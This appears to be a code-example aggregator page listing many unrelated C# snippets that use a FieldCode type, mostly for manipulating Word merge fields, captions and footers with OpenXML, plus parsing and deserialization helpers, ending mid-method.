Beispiel #1
0
            public void ParseFedLines()
            {
                string prevLine = "";

                Fields     = new List <FieldCode>();
                ExtraLines = new List <string>();

                int lineIndex = 0;

                foreach (string line in Lines)
                {
                    string realLine = line.TrimStart(' ');
                    if (lineIndex == 0)
                    {
                        Match instanceMatch = HashRegex.Match(line);
                        if (instanceMatch.Success)
                        {
                            Hash = uint.Parse(instanceMatch.Groups[1].Value, NumberStyles.HexNumber);
                        }
                    }
                    else if (FieldCode.Check(prevLine, realLine))
                    {
                        Fields.Add(new FieldCode(prevLine, realLine));
                    }
                    else if (lineIndex != 0 && lineIndex != 1 && !string.IsNullOrEmpty(realLine) && !FieldCode.Check(realLine, null) && !Check(realLine))
                    {
                        ExtraLines.Add(line);
                    }

                    prevLine = line;
                    lineIndex++;
                }
            }
Beispiel #2
0
            public void Write(StringBuilder output)
            {
                int fieldIndex = 0;

                STUInstanceJSON instanceData = Version2Comparer.InstanceJSON[Hash];

                const string indent = "        ";

                foreach (STUInstanceJSON.STUFieldJSON field in instanceData.Fields)
                {
                    FieldCode fieldCode = Fields.First(x => x.Hash == field.Hash);

                    output.AppendLine(indent + fieldCode.HeaderLine);
                    output.AppendLine(indent + fieldCode.ContentLine);

                    if (fieldIndex != Fields.Count - 1)
                    {
                        output.AppendLine();
                    }

                    fieldIndex++;
                }

                if (ExtraLines.Count > 0)
                {
                    output.AppendLine();
                }
                foreach (string extraLine in ExtraLines)
                {
                    output.AppendLine(extraLine);
                }
            }
        /// <summary>
        /// Removes a merge field from the containing document and replaces it with the given text content.
        /// </summary>
        /// <param name="replacementText">The content to replace the merge field with.</param>
        public static void ReplaceWithText(this FieldCode field, string replacementText)
        {
            if (field == null)
            {
                return;
            }

            Run rFldCode = field.Parent as Run;
            Run rBegin   = rFldCode.PreviousSibling <Run>();
            Run rSep     = rFldCode.NextSibling <Run>();
            Run rText    = rSep.NextSibling <Run>();
            Run rEnd     = rText.NextSibling <Run>();

            rFldCode.Remove();
            rBegin.Remove();
            rSep.Remove();
            rEnd.Remove();

            Text t = rText.GetFirstChild <Text>();

            if (t != null)
            {
                t.Text = (replacementText != null) ? replacementText : string.Empty;
            }
        }
Beispiel #4
0
        public static void SetSagePaymentInfo(this Payment payment, FieldCode code, string value)
        {
            var loadSagePaymentInfo = payment.LoadSagePaymentInfo();

            loadSagePaymentInfo[code] = value;
            payment.SaveSagePaymentInfo(loadSagePaymentInfo);
        }
        public OXMLDocPropertyParagraph(FieldCode fieldName, Text fieldValue)
        {
            if ((fieldName == null) || (fieldValue == null)) throw new Exception("Ошибка свойства в параграфе");

            _fieldName = fieldName;
            _fieldValue = fieldValue;
            NameProperty = GetNameProperty(_fieldName.Text);
        }
Beispiel #6
0
        public static Paragraph CreateCaption(int count, string title, string caption, CaptionTypes captionType, string bookmarkId = null, HyperlinkTracker hyperlinkTracker = null)
        {
            FieldCode fieldCode = null;

            if (captionType == CaptionTypes.Table)
            {
                fieldCode = new FieldCode(" SEQ Table \\* ARABIC ");
            }
            else if (captionType == CaptionTypes.Figure)
            {
                fieldCode = new FieldCode(" SEQ Figure \\* ARABIC ");
            }

            Paragraph p3 = new Paragraph(
                new ParagraphProperties(
                    new ParagraphStyleId()
            {
                Val = Properties.Settings.Default.TableCaptionStyle
            })
                );

            p3.Append(
                DocHelper.CreateRun(caption),
                new Run(
                    new FieldChar()
            {
                FieldCharType = new EnumValue <FieldCharValues>(FieldCharValues.Begin)
            }),
                new Run(fieldCode),
                new Run(
                    new FieldChar()
            {
                FieldCharType = new EnumValue <FieldCharValues>(FieldCharValues.Separate)
            }),
                DocHelper.CreateRun(count.ToString()),
                new Run(
                    new FieldChar()
            {
                FieldCharType = new EnumValue <FieldCharValues>(FieldCharValues.End)
            }),
                DocHelper.CreateRun(": "));

            var titleRun = DocHelper.CreateRun(title);

            if (!string.IsNullOrEmpty(bookmarkId))
            {
                hyperlinkTracker.AddAnchorAround(p3, bookmarkId, titleRun);
            }
            else
            {
                p3.Append(titleRun);
            }

            return(p3);
        }
Beispiel #7
0
        public bool ProcessElement(IElementProcessingState state, FieldCode fc)
        {
            var offset = new VTextOffset
            {
                Delta = fc.InnerText.Length * -1,
                Index = state.Index
            };

            state.CurrentVNode.VOffsets.Add(offset);
            state.Index += offset.Delta * -1;
            return(false);
        }
Beispiel #8
0
        public static void ParseJson(string filepath, GenerateForm genForm,
                                     CheckBoxAction checkBoxAction, TextFieldAction textFieldAction)
        {
            using (WordprocessingDocument wordprocessingDocument = WordprocessingDocument.Open(filepath, true))
            {
                IDictionary <String, BookmarkStart> bookmarkMap = new Dictionary <String, BookmarkStart>();
                foreach (BookmarkStart bookmarkStart in wordprocessingDocument.MainDocumentPart.RootElement.Descendants <BookmarkStart>())
                {
                    bookmarkMap[bookmarkStart.Name] = bookmarkStart;
                }

                foreach (BookmarkStart bookmarkStart in bookmarkMap.Values)
                {
                    Run bookmarkFieldCode = bookmarkStart.NextSibling <Run>();
                    if (bookmarkFieldCode != null)
                    {
                        FieldCode fcode = bookmarkFieldCode.GetFirstChild <FieldCode>();
                        if (fcode != null && FormTypes.isFormType(fcode.Text))
                        {
                            if (FormTypes.FormCheckBox.Is(fcode.Text))
                            {
                                Run           checkboxRun   = bookmarkStart.PreviousSibling <Run>();
                                FieldChar     fieldChar     = checkboxRun?.GetFirstChild <FieldChar>();
                                FormFieldData formFieldData = fieldChar?.GetFirstChild <FormFieldData>();
                                CheckBox      checkbox      = formFieldData?.GetFirstChild <CheckBox>();
                                //Note: docs say Checked should appear however type is DefaultCheckBoxFormFieldState
                                //Checked checkboxChecked =  checkbox?.GetFirstChild<Checked>();
                                DefaultCheckBoxFormFieldState checkboxChecked = checkbox?.GetFirstChild <DefaultCheckBoxFormFieldState>();
                                if (checkboxChecked != null)
                                {
                                    PrintVerbose("" + (bool)checkboxChecked.Val);
                                    checkBoxAction(genForm, bookmarkStart.Name, checkboxChecked);
                                }
                            }
                            else if (FormTypes.FormText.Is(fcode.Text))
                            {
                                while (bookmarkFieldCode.NextSibling <Run>() != null)
                                {
                                    Text bookmarkText = bookmarkFieldCode.GetFirstChild <Text>();
                                    if (bookmarkText != null)
                                    {
                                        PrintVerbose(bookmarkText.Text);
                                        textFieldAction(genForm, bookmarkStart.Name, bookmarkText);
                                    }
                                    bookmarkFieldCode = bookmarkFieldCode.NextSibling <Run>();
                                }
                            }
                        }
                    }
                }
            }
        }
Beispiel #9
0
		public object this[FieldCode key]
		{
			get {
				object value = null;
				fields.TryGetValue ((byte)key, out value);
				return value;
			}
			set {
				if (value == null)
					fields.Remove((byte)key);
				else
					fields[(byte)key] = value;
			}
		}
Beispiel #10
0
        private string GetFieldName(FieldCode field)
        {
            // should be one of these forms:
            // MERGEFIELD COMMAND:name
            // MERGEFIELD \"COMMAND:name\"
            // MERGEFIELD  COMMAND:name
            // MERGEFIELD name
            // MERGEFIELD \"name\"
            // MERGEFIELD  name

            var fieldText = field.InnerText.Replace("MERGEFIELD", "").Replace(" ", "");

            return(fieldText.Contains(":") ? fieldText.Split(':')[1] : fieldText);
        }
        public static IList <Run> GetAssociatedRuns(FieldCode fieldCode)
        {
            Run rFieldCode = (Run)fieldCode.Parent;
            Run rBegin     = rFieldCode.PreviousSibling <Run>();
            Run rCurrent   = rFieldCode.NextSibling <Run>();

            var runs = new List <Run>(new[] { rBegin, rCurrent });

            while (!rCurrent.ContainsCharType(FieldCharValues.End))
            {
                rCurrent = rCurrent.NextSibling <Run>();
                runs.Add(rCurrent);
            }
            ;

            return(runs);
        }
Beispiel #12
0
        private void RemoveMergeField(FieldCode mergeField)
        {
            // Get the Run that contains our FieldCode
            var fieldParent = (Run)mergeField.Parent;

            // Get the other Runs that make up our merge field
            var begin     = fieldParent.PreviousSibling <Run>();
            var separator = fieldParent.NextSibling <Run>();
            var text      = separator.NextSibling <Run>();
            var end       = text.NextSibling <Run>();

            // Remove all Runs for our merge field
            begin.Remove();
            fieldParent.Remove();
            separator.Remove();
            text.Remove();
            end.Remove();
        }
Beispiel #13
0
        public static IList <Run> GetAssociatedRuns(this FieldCode fieldCode)
        {
            //adapted from http://stackoverflow.com/questions/8400152/how-can-i-put-a-content-in-a-mergefield-in-docx
            Run rFieldCode = (Run)fieldCode.Parent;
            Run rBegin     = rFieldCode.PreviousSibling <Run>();
            Run rCurrent   = rFieldCode.NextSibling <Run>();

            var runs = new List <Run>(new[] { rBegin, rFieldCode, rCurrent });

            while (!rCurrent.ContainsCharType(FieldCharValues.End))
            {
                rCurrent = rCurrent.NextSibling <Run>();
                runs.Add(rCurrent);
            }
            ;

            return(runs);
        }
Beispiel #14
0
 public object this[FieldCode key]
 {
     get {
         object value = null;
         fields.TryGetValue((byte)key, out value);
         return(value);
     }
     set {
         if (value == null)
         {
             fields.Remove((byte)key);
         }
         else
         {
             fields[(byte)key] = value;
         }
     }
 }
Beispiel #15
0
        public static Paragraph CreateCaption(int count, string title, string caption, CaptionTypes captionType, string bookmarkId = null)
        {
            FieldCode fieldCode = null;

            if (captionType == CaptionTypes.Table)
            {
                fieldCode = new FieldCode(" SEQ Table \\* ARABIC ");
            }
            else if (captionType == CaptionTypes.Figure)
            {
                fieldCode = new FieldCode(" SEQ Figure \\* ARABIC ");
            }

            Paragraph p3 = new Paragraph(
                new ParagraphProperties(
                    new ParagraphStyleId()
            {
                Val = Properties.Settings.Default.TableCaptionStyle
            }),
                DocHelper.CreateRun(caption),
                new Run(
                    new FieldChar()
            {
                FieldCharType = new EnumValue <FieldCharValues>(FieldCharValues.Begin)
            }),
                new Run(fieldCode),
                new Run(
                    new FieldChar()
            {
                FieldCharType = new EnumValue <FieldCharValues>(FieldCharValues.Separate)
            }),
                DocHelper.CreateRun(count.ToString(), bookmarkId),
                new Run(
                    new FieldChar()
            {
                FieldCharType = new EnumValue <FieldCharValues>(FieldCharValues.End)
            }),
                DocHelper.CreateRun(": " + title));

            return(p3);
        }
Beispiel #16
0
        private void ReplaceMergeField(FieldCode mergeField, string replacementText)
        {
            // Get the Run that contains our FieldCode
            // Then get the parent container of this Run
            var fieldParent = (Run)mergeField.Parent;

            // Get the three (3) other Runs that make up our merge field
            var begin     = fieldParent.PreviousSibling <Run>();
            var separator = fieldParent.NextSibling <Run>();
            var text      = separator.NextSibling <Run>();
            var end       = text.NextSibling <Run>();

            // Get the Run that holds the Text element for our merge field
            // Get the Text element and replace the text content
            var t = text.GetFirstChild <Text>();

            t.Text = replacementText;

            // Remove all the four (4) Runs for our merge field
            fieldParent.Remove();
            begin.Remove();
            separator.Remove();
            end.Remove();
        }
Beispiel #17
0
        private void RemoveFields(string fname)
        {
            using (WordprocessingDocument pkgDoc = WordprocessingDocument.Open(fname, true))
            {
                string   fieldList = string.Empty;
                Document doc       = pkgDoc.MainDocumentPart.Document;
                //Get all field code elements in the document
                IEnumerable <FieldChar> fldChars = doc.Descendants <FieldChar>();
                if (fldChars == null)
                {
                    return;                   //No field codes in the document
                }
                // bool fldStart = false;
                FieldChar fldCharStart = null;
                FieldChar fldCharEnd   = null;
                FieldChar fldCharSep   = null;
                FieldCode fldCode      = null;
                string    fldContent   = String.Empty;
                foreach (FieldChar fldChar in fldChars)
                {
                    string fldCharPart = fldChar.FieldCharType.ToString();
                    switch (fldCharPart)
                    {
                    case "begin":     //start of the field
                        fldCharStart = fldChar;
                        //get the field code, which will be an instrText element
                        // either as sibling or as a child of the parent sibling
                        fldCode = fldCharStart.Parent.Descendants <FieldCode>().FirstOrDefault();
                        if (fldCode == null)     //complex field
                        {
                            fldCode = fldCharStart.Parent.NextSibling <Run>().Descendants <FieldCode>().FirstOrDefault();
                        }
                        if (fldCode != null && fldCode.InnerText.Contains("MERGEFIELD"))
                        {
                            fldContent = fldCode.InnerText;
                            fieldList += fldContent + "\n";
                        }
                        break;

                    case "end":     // end of the field
                        fldCharEnd = fldChar;
                        break;

                    case "separate":     //complex field with text result
                                         //we want to put the database content in this text run
                                         //yet still remove the field code
                                         //If there's no "separate" field char for the current field,
                                         //we need to insert it somewhere else
                        fldCharSep = fldChar;
                        break;

                    default:
                        break;
                    }
                    if ((fldCharStart != null) && (fldCharEnd != null)) //start and end field codes have been found
                    {
                        if (fldCharSep != null)
                        {
                            DocumentFormat.OpenXml.Wordprocessing.Text elemText = (DocumentFormat.OpenXml.Wordprocessing.Text)fldCharSep.Parent.NextSibling().Descendants <DocumentFormat.OpenXml.Wordprocessing.Text>().FirstOrDefault();
                            elemText.Text = fldContent;
                            //Delete all the field chars with their runs
                            DeleteFieldChar(fldCharStart);
                            DeleteFieldChar(fldCharEnd);
                            DeleteFieldChar(fldCharSep);
                            fldCode.Remove();
                        }
                        else
                        {
                            DocumentFormat.OpenXml.Wordprocessing.Text elemText = new DocumentFormat.OpenXml.Wordprocessing.Text(fldContent);
                            fldCode.Parent.Append(elemText);
                            fldCode.Remove();
                            //Delete all the field chars with their runs
                            DeleteFieldChar(fldCharStart);
                            DeleteFieldChar(fldCharEnd);
                            DeleteFieldChar(fldCharSep);
                        }
                        fldCharStart = null;
                        fldCharEnd   = null;
                        fldCharSep   = null;
                        fldCode      = null;
                        fldContent   = string.Empty;
                    }
                }
            }
        }
Beispiel #18
0
 public static String GetFieldOptions(FieldCode fieldListCode, String ApiToken, String ApiServer)
 {
     return Newtonsoft.Json.JsonConvert.DeserializeObject<String>(Factory.GetResponse("Orders/GetFieldOptions", "fieldListCode=" + fieldListCode + "", ApiToken, ApiServer), new JsonSerializerSettings { NullValueHandling = NullValueHandling.Ignore });
 }
Beispiel #19
0
		public HeaderTest (FieldCode field, object value)
		{
			Field = field;
			Signature = Signature.GetSig (value.GetType ());
			Value = value;
		}
Beispiel #20
0
 public int GetHashCode(DataPoint obj)
 {
     return(FieldCode.GetHashCode());
 }
Beispiel #21
0
        // Generates content of footerPart1.
        private void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            Footer footer1 = new Footer() {MCAttributes = new MarkupCompatibilityAttributes() {Ignorable = "w14 wp14"}};
            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            Paragraph paragraph24 = new Paragraph()
                                    {
                                        RsidParagraphAddition = "0005059E",
                                        RsidParagraphProperties = "00367B71",
                                        RsidRunAdditionDefault = "0005059E"
                                    };

            ParagraphProperties paragraphProperties5 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId1 = new ParagraphStyleId() {Val = "Footer"};

            Tabs tabs3 = new Tabs();
            TabStop tabStop5 = new TabStop() {Val = TabStopValues.Clear, Position = 4680};
            TabStop tabStop6 = new TabStop() {Val = TabStopValues.Clear, Position = 9360};
            TabStop tabStop7 = new TabStop() {Val = TabStopValues.Left, Position = 1896};

            tabs3.Append(tabStop5);
            tabs3.Append(tabStop6);
            tabs3.Append(tabStop7);

            paragraphProperties5.Append(paragraphStyleId1);
            paragraphProperties5.Append(tabs3);

            Run run27 = new Run();

            RunProperties runProperties13 = new RunProperties();
            Color color5 = new Color() {Val = "808080", ThemeColor = ThemeColorValues.Background1, ThemeShade = "80"};
            Spacing spacing3 = new Spacing() {Val = 60};

            runProperties13.Append(color5);
            runProperties13.Append(spacing3);
            Text text23 = new Text();
            text23.Text = "Page";

            run27.Append(runProperties13);
            run27.Append(text23);

            Run run28 = new Run();
            Text text24 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text24.Text = " | ";

            run28.Append(text24);

            Run run29 = new Run();
            FieldChar fieldChar1 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run29.Append(fieldChar1);

            Run run30 = new Run();
            FieldCode fieldCode1 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode1.Text = " PAGE   \\* MERGEFORMAT ";

            run30.Append(fieldCode1);

            Run run31 = new Run();
            FieldChar fieldChar2 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run31.Append(fieldChar2);

            Run run32 = new Run() {RsidRunProperties = "007977E5", RsidRunAddition = "007977E5"};

            RunProperties runProperties14 = new RunProperties();
            Bold bold4 = new Bold();
            BoldComplexScript boldComplexScript4 = new BoldComplexScript();
            NoProof noProof14 = new NoProof();

            runProperties14.Append(bold4);
            runProperties14.Append(boldComplexScript4);
            runProperties14.Append(noProof14);
            Text text25 = new Text();
            text25.Text = "1";

            run32.Append(runProperties14);
            run32.Append(text25);

            Run run33 = new Run();

            RunProperties runProperties15 = new RunProperties();
            Bold bold5 = new Bold();
            BoldComplexScript boldComplexScript5 = new BoldComplexScript();
            NoProof noProof15 = new NoProof();

            runProperties15.Append(bold5);
            runProperties15.Append(boldComplexScript5);
            runProperties15.Append(noProof15);
            FieldChar fieldChar3 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run33.Append(runProperties15);
            run33.Append(fieldChar3);

            Run run34 = new Run();

            RunProperties runProperties16 = new RunProperties();
            Bold bold6 = new Bold();
            BoldComplexScript boldComplexScript6 = new BoldComplexScript();
            NoProof noProof16 = new NoProof();

            runProperties16.Append(bold6);
            runProperties16.Append(boldComplexScript6);
            runProperties16.Append(noProof16);
            Text text26 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text26.Text = " of ";

            run34.Append(runProperties16);
            run34.Append(text26);

            Run run35 = new Run();

            RunProperties runProperties17 = new RunProperties();
            Bold bold7 = new Bold();
            BoldComplexScript boldComplexScript7 = new BoldComplexScript();
            NoProof noProof17 = new NoProof();

            runProperties17.Append(bold7);
            runProperties17.Append(boldComplexScript7);
            runProperties17.Append(noProof17);
            FieldChar fieldChar4 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run35.Append(runProperties17);
            run35.Append(fieldChar4);

            Run run36 = new Run();

            RunProperties runProperties18 = new RunProperties();
            Bold bold8 = new Bold();
            BoldComplexScript boldComplexScript8 = new BoldComplexScript();
            NoProof noProof18 = new NoProof();

            runProperties18.Append(bold8);
            runProperties18.Append(boldComplexScript8);
            runProperties18.Append(noProof18);
            FieldCode fieldCode2 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode2.Text = " NUMPAGES  \\* Arabic  \\* MERGEFORMAT ";

            run36.Append(runProperties18);
            run36.Append(fieldCode2);

            Run run37 = new Run();

            RunProperties runProperties19 = new RunProperties();
            Bold bold9 = new Bold();
            BoldComplexScript boldComplexScript9 = new BoldComplexScript();
            NoProof noProof19 = new NoProof();

            runProperties19.Append(bold9);
            runProperties19.Append(boldComplexScript9);
            runProperties19.Append(noProof19);
            FieldChar fieldChar5 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run37.Append(runProperties19);
            run37.Append(fieldChar5);

            Run run38 = new Run() {RsidRunAddition = "007977E5"};

            RunProperties runProperties20 = new RunProperties();
            Bold bold10 = new Bold();
            BoldComplexScript boldComplexScript10 = new BoldComplexScript();
            NoProof noProof20 = new NoProof();

            runProperties20.Append(bold10);
            runProperties20.Append(boldComplexScript10);
            runProperties20.Append(noProof20);
            Text text27 = new Text();
            text27.Text = "1";

            run38.Append(runProperties20);
            run38.Append(text27);

            Run run39 = new Run();

            RunProperties runProperties21 = new RunProperties();
            Bold bold11 = new Bold();
            BoldComplexScript boldComplexScript11 = new BoldComplexScript();
            NoProof noProof21 = new NoProof();

            runProperties21.Append(bold11);
            runProperties21.Append(boldComplexScript11);
            runProperties21.Append(noProof21);
            FieldChar fieldChar6 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run39.Append(runProperties21);
            run39.Append(fieldChar6);

            Run run40 = new Run();

            RunProperties runProperties22 = new RunProperties();
            Bold bold12 = new Bold();
            BoldComplexScript boldComplexScript12 = new BoldComplexScript();
            NoProof noProof22 = new NoProof();

            runProperties22.Append(bold12);
            runProperties22.Append(boldComplexScript12);
            runProperties22.Append(noProof22);
            TabChar tabChar1 = new TabChar();

            run40.Append(runProperties22);
            run40.Append(tabChar1);

            paragraph24.Append(paragraphProperties5);
            paragraph24.Append(run27);
            paragraph24.Append(run28);
            paragraph24.Append(run29);
            paragraph24.Append(run30);
            paragraph24.Append(run31);
            paragraph24.Append(run32);
            paragraph24.Append(run33);
            paragraph24.Append(run34);
            paragraph24.Append(run35);
            paragraph24.Append(run36);
            paragraph24.Append(run37);
            paragraph24.Append(run38);
            paragraph24.Append(run39);
            paragraph24.Append(run40);

            footer1.Append(paragraph24);

            footerPart1.Footer = footer1;
        }
Beispiel #22
0
        public void CleanMergefieldV2(string filePath, string mergefieldName = "DEBTOR__Middle_name", string correctValue = "test")
        {
            using (WordprocessingDocument doc = WordprocessingDocument.Open(filePath, true))
            {
                string completeMergeFieldName = $"MERGEFIELD {mergefieldName} ";

                var fieldsWithMergefieldName = doc.MainDocumentPart.RootElement.Descendants <FieldCode>().Where(x => x.Text.Contains(mergefieldName));
                foreach (FieldCode field in fieldsWithMergefieldName)
                {
                    var paragraph = field.Ancestors <Paragraph>().FirstOrDefault();
                    if (paragraph.Count() <= 6)
                    {
                        continue;
                    }
                    var firstBeginDone      = false;
                    var firstMergefieldDone = false;
                    var firstSeparateDone   = false;
                    var firstTextDone       = false;
                    var firstEndDone        = false;


                    var runs     = paragraph.Descendants <Run>().ToList();
                    var tempRuns = new Run[5];
                    foreach (Run run in runs)
                    {
                        if (run.Descendants <FieldChar>().Any(x => x.FieldCharType == FieldCharValues.Begin) && firstBeginDone != true)
                        {
                            tempRuns[0]    = run;
                            firstBeginDone = true;
                        }
                        else if (run.Descendants <FieldCode>().Any(x => x.Text.Contains(mergefieldName)) && firstMergefieldDone != true)
                        {
                            tempRuns[1]         = run;
                            firstMergefieldDone = true;
                        }
                        else if (run.Descendants <FieldChar>().Any(x => x.FieldCharType == FieldCharValues.Separate) && firstSeparateDone != true)
                        {
                            tempRuns[2]       = run;
                            firstSeparateDone = true;
                        }
                        else if (run.RsidRunProperties != null && run.RsidRunAddition != null && firstTextDone != true)
                        {
                            FieldCode fieldcode = (FieldCode)run.ChildElements[1];
                            fieldcode.Text = correctValue;
                            tempRuns[3]    = run;
                            firstTextDone  = true;
                        }
                        else if (run.Descendants <FieldChar>().Any(x => x.FieldCharType == FieldCharValues.End) && firstEndDone != true)
                        {
                            tempRuns[4]  = run;
                            firstEndDone = true;
                        }
                        run.Remove();
                    }
                    foreach (Run run in tempRuns)
                    {
                        paragraph.AppendChild(run);
                    }
                }
                doc.Save();
            }
        }
Beispiel #23
0
 public bool TryGetField(FieldCode code, out object value)
 {
     return(fields.TryGetValue((byte)code, out value));
 }
        /// <summary>
        /// Deserializes an object from a binary source.
        /// </summary>
        /// <param name="Reader">Deserializer.</param>
        /// <param name="DataType">Optional datatype. If not provided, will be read from the binary source.</param>
        /// <param name="Embedded">If the object is embedded into another.</param>
        /// <param name="CheckFieldNames">If field names are to be extended.</param>
        /// <returns>Deserialized object.</returns>
        public object Deserialize(IDeserializer Reader, uint?DataType, bool Embedded, bool CheckFieldNames)
        {
            StreamBookmark Bookmark    = Reader.GetBookmark();
            uint?          DataTypeBak = DataType;
            uint           FieldDataType;
            ulong          FieldCode;
            Guid           ObjectId = Embedded ? Guid.Empty : Reader.ReadGuid();
            string         TypeName;
            string         FieldName;
            string         CollectionName;

            if (!Embedded)
            {
                Reader.SkipVariableLengthUInt64();                  // Content length.
            }
            if (!DataType.HasValue)
            {
                DataType = Reader.ReadBits(6);
                if (DataType.Value == ObjectSerializer.TYPE_NULL)
                {
                    return(null);
                }
            }

            switch (DataType.Value)
            {
            case ObjectSerializer.TYPE_OBJECT:
                if (Embedded && Reader.BitOffset > 0 && Reader.ReadBit())
                {
                    ObjectId = Reader.ReadGuid();
                }
                break;

            case ObjectSerializer.TYPE_BOOLEAN:
                return(Reader.ReadBit());

            case ObjectSerializer.TYPE_BYTE:
                return(Reader.ReadByte());

            case ObjectSerializer.TYPE_INT16:
                return(Reader.ReadInt16());

            case ObjectSerializer.TYPE_INT32:
                return(Reader.ReadInt32());

            case ObjectSerializer.TYPE_INT64:
                return(Reader.ReadInt64());

            case ObjectSerializer.TYPE_SBYTE:
                return(Reader.ReadSByte());

            case ObjectSerializer.TYPE_UINT16:
                return(Reader.ReadUInt16());

            case ObjectSerializer.TYPE_UINT32:
                return(Reader.ReadUInt32());

            case ObjectSerializer.TYPE_UINT64:
                return(Reader.ReadUInt64());

            case ObjectSerializer.TYPE_DECIMAL:
                return(Reader.ReadDecimal());

            case ObjectSerializer.TYPE_DOUBLE:
                return(Reader.ReadDouble());

            case ObjectSerializer.TYPE_SINGLE:
                return(Reader.ReadSingle());

            case ObjectSerializer.TYPE_DATETIME:
                return(Reader.ReadDateTime());

            case ObjectSerializer.TYPE_DATETIMEOFFSET:
                return(Reader.ReadDateTimeOffset());

            case ObjectSerializer.TYPE_TIMESPAN:
                return(Reader.ReadTimeSpan());

            case ObjectSerializer.TYPE_CHAR:
                return(Reader.ReadChar());

            case ObjectSerializer.TYPE_STRING:
                return(Reader.ReadString());

            case ObjectSerializer.TYPE_CI_STRING:
                return(new CaseInsensitiveString(Reader.ReadString()));

            case ObjectSerializer.TYPE_ENUM:
                return(Reader.ReadString());

            case ObjectSerializer.TYPE_BYTEARRAY:
                return(Reader.ReadByteArray());

            case ObjectSerializer.TYPE_GUID:
                return(Reader.ReadGuid());

            case ObjectSerializer.TYPE_NULL:
                return(null);

            case ObjectSerializer.TYPE_ARRAY:
                throw new Exception("Arrays must be embedded in objects.");

            default:
                throw new Exception("Object or value expected.");
            }

            bool Normalized = this.NormalizedNames;

            if (Normalized)
            {
                FieldCode = Reader.ReadVariableLengthUInt64();
                TypeName  = null;
            }
            else
            {
                FieldCode = 0;
                TypeName  = Reader.ReadString();
            }

            if (Embedded)
            {
                if (Normalized)
                {
                    ulong CollectionCode = Reader.ReadVariableLengthUInt64();
                    CollectionName = this.context.GetFieldName(null, CollectionCode);
                }
                else
                {
                    CollectionName = Reader.ReadString();
                }
            }
            else
            {
                CollectionName = Reader.CollectionName;
            }

            if (Normalized)
            {
                if (FieldCode == 0)
                {
                    TypeName = string.Empty;
                }
                else if (CheckFieldNames)
                {
                    TypeName = this.context.GetFieldName(CollectionName, FieldCode);
                }
                else
                {
                    TypeName = CollectionName + "." + FieldCode.ToString();
                }
            }

            if (this.returnTypedObjects && !string.IsNullOrEmpty(TypeName))
            {
                Type DesiredType = Types.GetType(TypeName);
                if (DesiredType is null)
                {
                    DesiredType = typeof(GenericObject);
                }

                if (DesiredType != typeof(GenericObject))
                {
                    IObjectSerializer Serializer2 = this.context.GetObjectSerializer(DesiredType);
                    Reader.SetBookmark(Bookmark);
                    return(Serializer2.Deserialize(Reader, DataTypeBak, Embedded));
                }
            }

            LinkedList <KeyValuePair <string, object> > Properties = new LinkedList <KeyValuePair <string, object> >();

            while (true)
            {
                if (Normalized)
                {
                    FieldCode = Reader.ReadVariableLengthUInt64();
                    if (FieldCode == 0)
                    {
                        break;
                    }

                    if (CheckFieldNames)
                    {
                        FieldName = this.context.GetFieldName(CollectionName, FieldCode);
                    }
                    else
                    {
                        FieldName = CollectionName + "." + FieldCode.ToString();
                    }
                }
                else
                {
                    FieldName = Reader.ReadString();
                    if (string.IsNullOrEmpty(FieldName))
                    {
                        break;
                    }
                }

                FieldDataType = Reader.ReadBits(6);

                switch (FieldDataType)
                {
                case ObjectSerializer.TYPE_BOOLEAN:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadBoolean()));
                    break;

                case ObjectSerializer.TYPE_BYTE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadByte()));
                    break;

                case ObjectSerializer.TYPE_INT16:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadInt16()));
                    break;

                case ObjectSerializer.TYPE_INT32:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadInt32()));
                    break;

                case ObjectSerializer.TYPE_INT64:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadInt64()));
                    break;

                case ObjectSerializer.TYPE_SBYTE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadSByte()));
                    break;

                case ObjectSerializer.TYPE_UINT16:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadUInt16()));
                    break;

                case ObjectSerializer.TYPE_UINT32:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadUInt32()));
                    break;

                case ObjectSerializer.TYPE_UINT64:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadUInt64()));
                    break;

